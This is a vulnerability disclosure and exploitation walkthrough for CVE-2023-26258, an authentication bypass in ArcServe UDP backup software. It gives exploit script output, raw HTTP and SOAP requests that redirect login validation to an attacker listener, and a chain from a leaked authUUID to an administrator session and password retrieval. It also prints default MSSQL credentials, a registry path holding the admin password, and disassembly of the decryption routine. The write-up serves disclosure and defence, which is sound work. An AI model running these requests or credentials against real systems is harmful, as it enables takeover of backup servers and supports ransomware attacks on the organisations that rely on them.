On an unpatched instance, the whole chain can be run in one go:
psyconauta@insulanova:/tmp|⇒ python3 exploit.py [redacted]
-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) ]=-
[*] Triggering info leak
[+] AdminName: SEVENKINGDOMS\\vagrant
[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
[+] Session: AGENTJSESSIONID=[redacted]
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
[+] Admin: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter
Have a happy hacking! ^_^
The tools are published on the MDSec GitHub repository for CVE-2023-26258.
Fix
ArcServe released a patch on 27/06/2023, after a hotfix was prepared on 21/06/2023. The report does not describe what the patch changed.
Variants to test
- Look for GWT RPC login endpoints whose serialised body carries a host, protocol or port, and edit those values to point at a listener you control. A positive result is a SOAP or HTTP request arriving at your listener with credentials or other data from the target.
- Call unauthenticated SOAP methods such as
getVersionInfoon the same service and check whether the response leaks hostnames, OS versions, account names or UUIDs. A positive result is any of those values in the response. - Take any UUID returned by an information-leak method and submit it to a
validateUserByUUID-style method. A positive result is aSet-Cookiewith a session identifier. - With a session, call methods such as
getLocalHostAsTrustand check whether encrypted secrets are returned. A positive result is a password field in the response. - Reverse the decryption routine for any returned secret and check whether the key is derived from a constant string. A positive result is a decrypted plaintext from the fixed seed.
- Send a broadcast to UDP 1434 with the
ARCSERVE_APPinstance name and check for replies. A positive result is aServerName;...;InstanceName;ARCSERVE_APP;...string with a TCP port. - Try the default MSSQL credentials
arcserve_udp/@rcserveP@ssw0rdagainst the port from the reply and queryas_edge_connect_infoandas_edge_host. A positive result is credential rows or host rows. - With local admin rights, read
AdminUserandAdminPasswordunderHKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Enginethrough the Remote Registry service. A positive result is the encrypted password value.

What happened, in plain words
ArcServe UDP is a product that companies use to make backup copies of their computers and servers. Backups are the safety net that lets an organisation recover after an accident or an attack, so the software that runs them is a very attractive target: if an attacker can control the backup system, they can also delete the backups and make recovery impossible.
During a ransomware exercise, the MDSec ActiveBreach red team was asked to compromise an organisation's backup infrastructure. Juan Manuel Fernandez and Sean Doherty looked at the software used for those backups, ArcServe UDP, and within minutes of reading its code they found a serious flaw: a way to get into the administration interface without knowing any password. This kind of flaw is called an authentication bypass: the system is supposed to check who you are before letting you in, and the check can be skipped.
The flaw affects versions 7.0 to 9.0. To understand it you need one idea: the web page you see in the browser (the administration interface) is only the front desk. Behind it there is a second program, a WebService, that does the real work, in this case checking whether a username and password are correct. The front desk decides where to send that check. The bug is that it takes the address of that second program from data the browser sends, so an attacker who can edit the request can tell the front desk to send the check somewhere else, to a server the attacker controls.
The pieces involved
A few names appear throughout, so here they are first.
- GWT (Google Web Toolkit) is a way of building web applications where the browser and the server exchange messages in a compact, serialised format instead of plain form fields. The login page of ArcServe is built this way, and the messages travel over GWT RPC, the protocol those messages use.
- SOAP is a standard format for sending structured requests between programs, written in XML (a text format made of tags in angle brackets, like
<name>value</name>). The backend WebService speaks SOAP. - A cookie is a small piece of text that a website asks your browser to keep and send back with every later request, so the site can remember that you already logged in. A session cookie is exactly that: proof that you have a logged-in session.
- A UUID is a long random-looking identifier, written with dashes, such as
6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1. It is meant to be unique and hard to guess. - HTTP and HTTPS are the protocols browsers use to talk to websites; HTTPS is the encrypted version. The word schema in this report means which of the two is used.
- A port is a numbered door on a computer. One machine can run many services, each listening on its own port;
8014is the door the ArcServe web interface uses here. - Base64 is a way of writing binary data (bytes) as plain text characters, so it can travel inside text documents.
- AES-256 is a widely used encryption method. MD5 is a hashing function: it turns any input into a fixed-length fingerprint, and the same input always gives the same fingerprint.
- Reverse engineering means taking a compiled program and working backwards to understand what it does, often by reading its instructions in a tool that shows them as text.
- A red team is a group of security professionals hired to attack an organisation on purpose, with permission, to test how well it would resist a real attacker.
The ArcServe instance was reachable at [redacted]:8014 over HTTPS, and a second address, [redacted]:8014, was used to send SOAP requests directly. The account used throughout is vagrant in the domain SEVENKINGDOMS, with the password adepts. The relevant code lives in flash-webui.jar on the web front end, in edge-app-base-webservice-impl.jar for the decryption helper, and in AFCoreFunction.dll for the native decryption routine. A .jar file is a package of compiled Java code; a .dll is a compiled Windows library.
No special access is needed to reach the login page. That is the whole point of the finding: the vulnerable endpoint answers before anyone has logged in.
Finding it
Watching the login
The first step was simply to watch the traffic between the browser and the administration interface while logging in. Tools called intercepting proxies sit between the browser and the server and let you read, pause and edit every request. One request stood out: a GWT RPC call to a method called validateUser, whose body is a serialised object carrying, among other things, the protocol, the server hostname, the domain, the username and the password.
POST /contents/service/login HTTP/1.1
Host: [redacted]:8014
Cookie: AGENTJSESSIONID=[redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/x-gwt-rpc; charset=utf-8
X-Gwt-Permutation: [redacted]
X-Gwt-Module-Base: <https://[redacted]:8014/contents/>
Content-Length: 245
Origin: <https://[redacted]:8014>
Referer: <https://[redacted]:8014/>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
7|0|10|https://[redacted]:8014/contents/|[redacted]|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|https:|EPIPELAGIC|SEVENKINGDOMS|vagrant|adepts|1|2|3|4|6|5|5|6|5|5|5|7|8|8014|9|10|11|
Line by line:
POST /contents/service/login HTTP/1.1is the request line: the browser is sending data (POST) to the login service, using version 1.1 of HTTP.Host: [redacted]:8014says which machine and port the request is addressed to.Cookie: AGENTJSESSIONID=...is the session cookie the browser already holds.AGENTJSESSIONIDis the name ArcServe gives its session cookie.User-Agent,Accept,Accept-Language,Accept-Encodingdescribe the browser and what it can handle. They are ordinary browser headers.Content-Type: text/x-gwt-rpc; charset=utf-8tells the server the body is a GWT RPC message.X-Gwt-PermutationandX-Gwt-Module-Baseare GWT-specific headers that identify the compiled version of the application and where it lives.Content-Length: 245is the size of the body in bytes.Origin,Referer,Sec-Fetch-*are headers browsers add to describe where a request came from. They are not the vulnerability.TeandConnectionare connection-level headers.- The blank line separates headers from the body.
- The body is the serialised object. The values are separated by
|characters. Reading it left to right:https:is the schema,EPIPELAGICthe server hostname,SEVENKINGDOMSthe domain,vagrantthe username andadeptsthe password. The numbers and the long hex string are GWT bookkeeping: type identifiers, a module hash and argument positions. You do not need to decode them to follow the attack.
Reading the server code
The next step was to find the server-side implementation of validateUser in flash-webui.jar, to see what the server does with those values:
public Boolean validateUser(HttpServletRequest req, String protocol, String host, int port, String domain, String username, String password, String logindetail) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - start");
if (StringUtil.isEmptyOrNull(username))
throw generateException(FlashServiceErrorCode.Login_UsernameRequired);
if (StringUtil.isEmptyOrNull(password))
throw generateException(FlashServiceErrorCode.Login_PasswordRequired);
HttpSession session = req.getSession();
WebServiceClientProxy client = null;
LoginDetail detail = null;
try {
logger.debug(protocol + host + port);
client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
setServiceClient(req, client);
detail = client.getService().validateUserWithDetail(username, password, domain, logindetail);
setLocalWebServiceClient(client);
} catch (WebServiceException exception) {
logger.error("Error occurs during validate user...");
logger.error(exception.getMessage());
if (exception.getCause() instanceof Error && exception.getMessage().startsWith("Undefined operation name"))
throw generateException(FlashServiceErrorCode.EDGE_D2D_INTERFACE_MISMATCH);
proccessAxisFaultException(exception);
}
HostInfo hostInfo = new HostInfo();
hostInfo.setName(host);
hostInfo.setUsername(username);
session.setAttribute(SessionConstants.SRING_DOMAIN, domain);
session.setAttribute(SessionConstants.SRING_USERNAME, username);
session.setAttribute(SessionConstants.SRING_PASSWORD, password);
session.setAttribute(SessionConstants.SRING_UUID, "");
session.setAttribute(SessionConstants.SRING_LOGIN_DETAIL, detail);
logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - end");
return Boolean.TRUE;
}
In plain words:
- The method receives the protocol, host, port, domain, username and password as separate arguments. They came from the request body.
- The two
ifchecks reject an empty username or password. They are the only input checks. req.getSession()gets or creates the user's session, the server-side memory tied to the session cookie.ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5")builds aclient, a proxy object that will talk to a WebService. Crucially, the address it will talk to is built fromprotocol,hostandport, the values the browser supplied.client.getService().validateUserWithDetail(username, password, domain, logindetail)sends the credentials to that WebService for checking.- The
catchblock handles errors from that call and translates them into application error codes. - The
session.setAttribute(...)lines store the domain, username, password and other details in the session. return Boolean.TRUEreports success.
That is the flaw in one sentence: a value the user controls decides where the server sends its validation request. Nothing ties the host, protocol or port to the server's own configuration.
Exploitation
Step 1: point the validation client at a host you control
If the request is intercepted and edited in transit, the serialised object can be changed so that the client contacts an HTTP server under the attacker's control. In the example, the host EPIPELAGIC is replaced with [redacted], the schema is switched to http: and the port becomes 7777:
7|0|10|https://[redacted]:8014/contents/|[redacted]|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|http:|[redacted]|SEVENKINGDOMS|vagrant|1|2|3|4|6|5|5|6|5|5|5|7|8|7777|9|10|10|
Compared with the original body, three things changed: https: became http:, EPIPELAGIC became [redacted], and the port value became 7777. The username and password fields are still there, but they no longer matter for the trick: the goal is to see where the server sends them.
A minimal HTTP server is started on that port to log whatever arrives:
psyconauta@insulanova:/tmp|⇒ python3 loghttp.py 7777
Starting httpd...
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUser xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>vagrant</arg0><arg1>vagrant</arg1><arg2>SEVENKINGDOMS</arg2></ns2:validateUser></S:Body></S:Envelope>
[redacted] - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
[redacted] - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
What this shows:
- The first line is the command that starts the logger on port
7777. - The first XML block is a SOAP request for
validateUser, with three arguments:vagrant,vagrantandSEVENKINGDOMS. The server sent the credentials to the attacker's machine. - The line
[redacted] - - [...] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -is the logger recording that the ArcServe server itself made that request, and that the logger answered with status 200. - The second XML block is a second SOAP request, this time for
getVersionInfo, asking for additional information. The server made it on its own, right after the first. - The
xmlns:...attributes are XML namespace declarations. They look noisy but they only say which vocabulary each tag belongs to.
So the server makes two SOAP requests to /WebServiceImpl/services/FlashServiceImpl: the first is validateUser, carrying the credentials, and the second is getVersionInfo, asking for extra information.
Step 2: query the real WebService without authentication
The getVersionInfo request can be copied and sent manually to the original WebService:
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: [redacted]:8014
Content-Length: 887
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
This is the same getVersionInfo message the server sent to the logger, now sent by hand to the real machine on [redacted]:8014. There is no cookie and no login: the point is to check whether the WebService answers without authentication.
The response leaks a lot of information without any authentication:
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:03:22 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 2853
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfoResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:majorVersion>9</ns5:majorVersion><ns5:minorVersion>0</ns5:minorVersion><ns5:buildNumber>6034</ns5:buildNumber><ns5:locale>en</ns5:locale><ns5:country></ns5:country><ns5:timeZoneID>America/Los_Angeles</ns5:timeZoneID><ns5:timeZoneOffset>-28800000</ns5:timeZoneOffset><ns5:adminName>SEVENKINGDOMS\\vagrant</ns5:adminName><ns5:localDriverLetters>C:\\</ns5:localDriverLetters><ns5:localADTPackage>-1</ns5:localADTPackage><ns5:productType>2</ns5:productType><ns5:edgeInfoCM><ns5:edgeHostName>kingslanding.[redacted]</ns5:edgeHostName><ns5:edgeUrl><https://kingslanding.[redacted]:8015/management/></ns5:edgeUrl></ns5:edgeInfoCM><ns5:dataFormat><ns5:timeFormat>h:mm:ss a</ns5:timeFormat><ns5:shortTimeFormat>h:mm a</ns5:shortTimeFormat><ns5:timeDateFormat>M/d/yyyy h:mm:ss a</ns5:timeDateFormat><ns5:dateFormat>M/d/yyyy</ns5:dateFormat></ns5:dataFormat><ns5:isX86>false</ns5:isX86><ns5:isHyperVRoleInstalled>false</ns5:isHyperVRoleInstalled><ns5:isDedupInstalled>false</ns5:isDedupInstalled><ns5:isWin8>true</ns5:isWin8><ns5:isReFsSupported>true</ns5:isReFsSupported><ns5:osName>Windows Server 2019 Datacenter Evaluation</ns5:osName><ns5:hostName>kingslanding</ns5:hostName><ns5:osMajorVersion>10</ns5:osMajorVersion><ns5:osMinorVersion>0</ns5:osMinorVersion><ns5:osBuildNumber>17763</ns5:osBuildNumber><ns5:uefiFirmware>false</ns5:uefiFirmware><ns5:SQLServerInstalled>true</ns5:SQLServerInstalled><ns5:ExchangeInstalled>false</ns5:ExchangeInstalled><ns5:D2DInstalled>true</ns5:D2DInstalled><ns5:ARCserveBackInstalled>false</ns5:ARCserveBackInstalled><ns5:RPSInstalled>true</ns5:RPSInstalled><ns5:settingConfiged>false</ns5:settingConfiged><ns5:dotNetVersion>4.7</ns5:dotNetVersion><ns5:displayVersion>9.0</ns5:displayVersion><ns5:isInCloud>false</ns5:isInCloud><ns5:nodeUUID>d5936919-6cc3-4c8a-b570-bbd39f75ca17</ns5:nodeUUID><ns5:authUUID>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</ns5:authUUID></ns2:return></ns2:getVersionInfoResponse></S:Body></S:Envelope>
What the response gives away, without any login:
- The status line
HTTP/1.1 200means success, andServer: Apachenames the web server software. majorVersion9,minorVersion0 andbuildNumber6034 identify the ArcServe version.adminNameis the administrator account,SEVENKINGDOMS\\vagrant.edgeHostNameandedgeUrlreveal another host and management address.osName,osMajorVersion,osMinorVersionandosBuildNumberdescribe the operating system: Windows Server 2019, build 17763.hostNameis the machine name,kingslanding.nodeUUIDandauthUUIDare two identifiers. The second one is the value that matters next.
Step 3: use the UUID to obtain a session
Back in flash-webui.jar, below validateUser, there is another method, validateUserByUuid:
public Boolean validateUserByUuid(String uuid, String host, int port, String protocol) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
logger.debug("validateUserByUuid(String, String, int, String) - start");
if (StringUtil.isEmptyOrNull(uuid))
throw generateException(FlashServiceErrorCode.Login_UUIDRequired);
WebServiceClientProxy client = null;
try {
client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
setServiceClient(req, client);
client.getService().validateUserByUUID(uuid);
setLocalWebServiceClient(client);
} catch (WebServiceException exception) {
logger.error("Error occurs during validate user by uuid...");
logger.error(exception.getMessage());
proccessAxisFaultException(exception, false);
}
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_DOMAIN, "");
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_USERNAME, "");
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_UUID, uuid);
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_PASSWORD, "");
logger.debug("validateUserByUuid(String, String, int, String) - end");
return Boolean.TRUE;
}
In plain words:
- This method takes a
uuidinstead of a username and password. If the UUID is empty, it throws an error. - It builds the same kind of proxy
clientas before, again fromprotocol,hostandport. - It calls
validateUserByUUID(uuid)on the WebService, passing only the UUID. - It then stores the UUID in the session and returns
Boolean.TRUE.
Grepping for the method name shows it is exposed by a WebService described in VirtualStandbyServiceImpl.wsdl, and that it takes a single argument:
<xs:complexType name="validateUserByUUID">
<xs:sequence>
<xs:element name="arg0" type="xs:string" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
A .wsdl file is a description of a WebService: it lists the operations and the shape of their arguments. This fragment says the operation validateUserByUUID takes one optional string argument called arg0. In other words, the only thing needed to call it is a UUID.
Sending the authUUID from the version response as that argument:
POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
Host: [redacted]:8014
Content-Length: 964
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUID xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0></ns2:validateUserByUUID></S:Body></S:Envelope>
- The request goes to a different service path,
/WebServiceImpl/services/VirtualStandbyServiceImpl. - The
SOAPActionheader names the operation being invoked. - The body contains
<arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0>, theauthUUIDcopied from the previous response.
It returns a session cookie:
HTTP/1.1 200
Date: Fri, 03 Feb 2023 22:01:07 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Set-Cookie: AGENTJSESSIONID=[redacted]; Path=/WebServiceImpl; Secure; HttpOnly
Content-Length: 324
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUIDResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://data.webservice.arcflash.ca.com/xsd>"><ns2:return>0</ns2:return></ns2:validateUserByUUIDResponse></S:Body></S:Envelope>
The important line is Set-Cookie: AGENTJSESSIONID=.... Set-Cookie is how a server hands a cookie to a client. Path=/WebServiceImpl limits where the cookie is sent, Secure means it is only sent over HTTPS, and HttpOnly means browser scripts cannot read it. The body simply returns 0, which is the success value. From here on, the attacker holds a valid administrator session without ever knowing a password.
Step 4: retrieve the administrator password
With a valid administrator session, the WebService can be used to retrieve the administrator password. ArcServe provides a method called getLocalHostAsTrust that returns the encrypted password:
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Cookie: AGENTJSESSIONID=[redacted]
SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
Host: [redacted]:8014
Content-Length: 917
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrust xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"></ns2:getLocalHostAsTrust></S:Body></S:Envelope>
- The
Cookieheader carries the session obtained in the previous step. This is what makes the request authenticated. - The body invokes
getLocalHostAsTrustwith no arguments.
The response contains the account name and the encrypted password:
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:12:14 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 1625
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrustResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:name>KINGSLANDING</ns5:name><ns5:port>0</ns5:port><ns5:uuid>[redacted]/[redacted]</ns5:uuid><ns5:userName>vagrant</ns5:userName><ns5:password>[redacted]</ns5:password><ns5:type>0</ns5:type><ns5:d2dVersion>9</ns5:d2dVersion></ns2:return></ns2:getLocalHostAsTrustResponse></S:Body></S:Envelope>
nameis the machine name,KINGSLANDING.userNameisvagrant.passwordis the encrypted password, written in base64. It is not plain text yet.uuidis another encrypted-looking value, andd2dVersionis9.
Step 5: decrypt the password
To work out how the password is encrypted, the researchers looked at edge-app-base-webservice-impl.jar, which contains a class called XmlDecrypter:
package com.ca.arcserve.edge.app.base.common;
import com.ca.arcflash.webservice.jni.WSJNI;
import java.io.IOException;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.TransformerException;
import org.xml.sax.SAXException;
public class XmlDecrypter extends BaseXmlCrypt {
public static final XmlDecrypter CommonDecrypter = new XmlDecrypter(new String[] { "uuid", ".*password", "encryptionkey", "access_token", "client_secret", "token_cache" });
public XmlDecrypter(String[] matchTag) {
super(matchTag);
}
protected String doEncrypt(String s) {
return WSJNI.AFDecryptStringEx(s);
}
public String decryptXml_NoException(String xml) {
return analyzeXml_NoException(xml);
}
public String decryptXml(String xml) throws ParserConfigurationException, SAXException, IOException, TransformerException {
return analyzeXml(xml);
}
}
In plain words:
- The class is called
XmlDecrypterand extendsBaseXmlCrypt, a base class that handles walking through XML. CommonDecrypteris a ready-made instance configured with a list of tag names to look for:uuid, anything matching.*password,encryptionkey,access_token,client_secretandtoken_cache. In other words, it knows which fields in an XML document hold secrets.doEncrypt(despite the name) callsWSJNI.AFDecryptStringEx(s), a function implemented in native code outside Java.decryptXmlanddecryptXml_NoExceptionrun the base class analysis on an XML string.
doEncrypt calls a native function from WSJNI. Searching further, AFCoreFunction.dll contains a function called AFDecryptFromString with the following code inside (some parts were renamed during the reverse engineering process):
1800dd8ac CryptDecrypt_trucho = &CryptDecrypt_m;
1800dd8bf int32_t var_48_2 = 0x18;
1800dd8c6 int32_t var_44_2 = 0x6610; //AES-256
1800dd8ec if ((mandanga_buena(&CryptDecrypt_trucho, nullptr) >= 0 && (r14_1 != 0 && r14_1 <= rbx_2)))
1800dd8e9 {
1800dd8f2 arg_10 = r14_1;
1800dd8f2 }
1800ddb3f CryptDecrypt_trucho = &CryptDecrypt_m;
1800ddb6b rbx_1 = 0xa;
1800ddb77 void* const var_a8_2 = "AFSrvConfig::SaveAdminAccount";
1800ddb8b sub_18006e160(Username, 0, 0, "%s: Encrypt password failed");
1800ddb7c }
This is a fragment of disassembly: the numbers on the left are memory addresses, the text on the right is the instruction. You do not need to read it all. The useful parts are:
CryptDecrypt_trucho = &CryptDecrypt_mpoints to the Windows function that performs decryption.- The comment
//AES-256on0x6610records that the algorithm is AES-256. mandanga_buenais a function the researchers renamed; it is called before decrypting.- The string
AFSrvConfig::SaveAdminAccountand the messageEncrypt password failedshow this code belongs to the routine that saves the administrator account.
The function renamed to mandanga_buena is shown below:
1800ea2b0 uint64_t mandanga_buena(void* arg1, int16_t* arg2)
1800ea2b0 {
1800ea2c5 int32_t rsi = 0;
1800ea2c7 void* const rbx = arg2;
1800ea2d5 if ((arg2 == 0 || (arg2 != 0 && 0 == *(int16_t*)arg2)))
1800ea2d2 {
1800ea2d7 rbx = "Please input a valid password";
1800ea2d7 }
1800ea2e9 int32_t var_18 = 0xf0000000;
1800ea2f3 BOOL rax = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000000);
1800ea2fb enum WIN32_ERROR rax_1;
1800ea2fb BOOL rax_2;
1800ea2fb uint64_t rax_4;
1800ea2fb if (rax == 0)
1800ea2f9 {
1800ea2fd rax_1 = GetLastError();
1800ea308 if (rax_1 == 0x80090016)
1800ea303 {
1800ea315 var_18 = 0xf0000008;
1800ea31f rax_2 = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000008);
1800ea315 }
1800ea327 if ((rax_1 != 0x80090016 || (rax_1 == 0x80090016 && rax_2 == 0)))
1800ea325 {
1800ea329 rax_4 = -1;
1800ea329 }
